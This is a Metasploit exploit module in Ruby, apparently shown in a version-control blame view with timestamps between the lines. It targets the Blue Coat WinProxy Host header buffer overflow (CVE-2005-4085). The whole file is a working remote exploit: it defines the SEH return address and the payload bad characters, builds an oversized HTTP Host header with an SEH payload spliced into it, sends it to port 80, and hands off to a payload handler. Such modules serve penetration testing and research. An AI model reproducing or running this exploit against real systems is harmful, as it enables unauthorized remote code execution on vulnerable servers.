2006-01-08 06:26:30 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
class Exploits::Windows::Proxy::Bluecoat_WinProxy_Host < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
include Exploit::Remote::Tcp
|
|
|
|
include Exploit::Remote::Seh
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Blue Coat Systems WinProxy Host Header Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
Remote exploitation of a buffer overflow vulnerability
|
|
|
|
in Blue Coat Systems Inc.'s WinProxy allows for the
|
|
|
|
remote execution of arbitrary code.
|
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2006-01-08 06:26:30 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2005-4085'],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 600,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
2006-01-08 10:38:35 +00:00
|
|
|
'Targets' =>
|
2006-01-08 06:26:30 +00:00
|
|
|
[
|
|
|
|
[ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
|
|
|
|
],
|
|
|
|
|
|
|
|
'Privileged' => true,
|
|
|
|
|
|
|
|
'DisclosureDate' => 'January 5 2005',
|
|
|
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80)
|
|
|
|
], self)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
sploit = "GET / HTTP/1.1" + "\r\n"
|
|
|
|
sploit += "Host: 127.0.0.1:"
|
|
|
|
sploit += Rex::Text.rand_text_english(31, payload_badchars)
|
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
sploit[23, seh.length] = seh
|
|
|
|
sploit += "\r\n\r\n"
|
|
|
|
|
|
|
|
sock.put(sploit)
|
|
|
|
sock.get_once(-1, 3)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|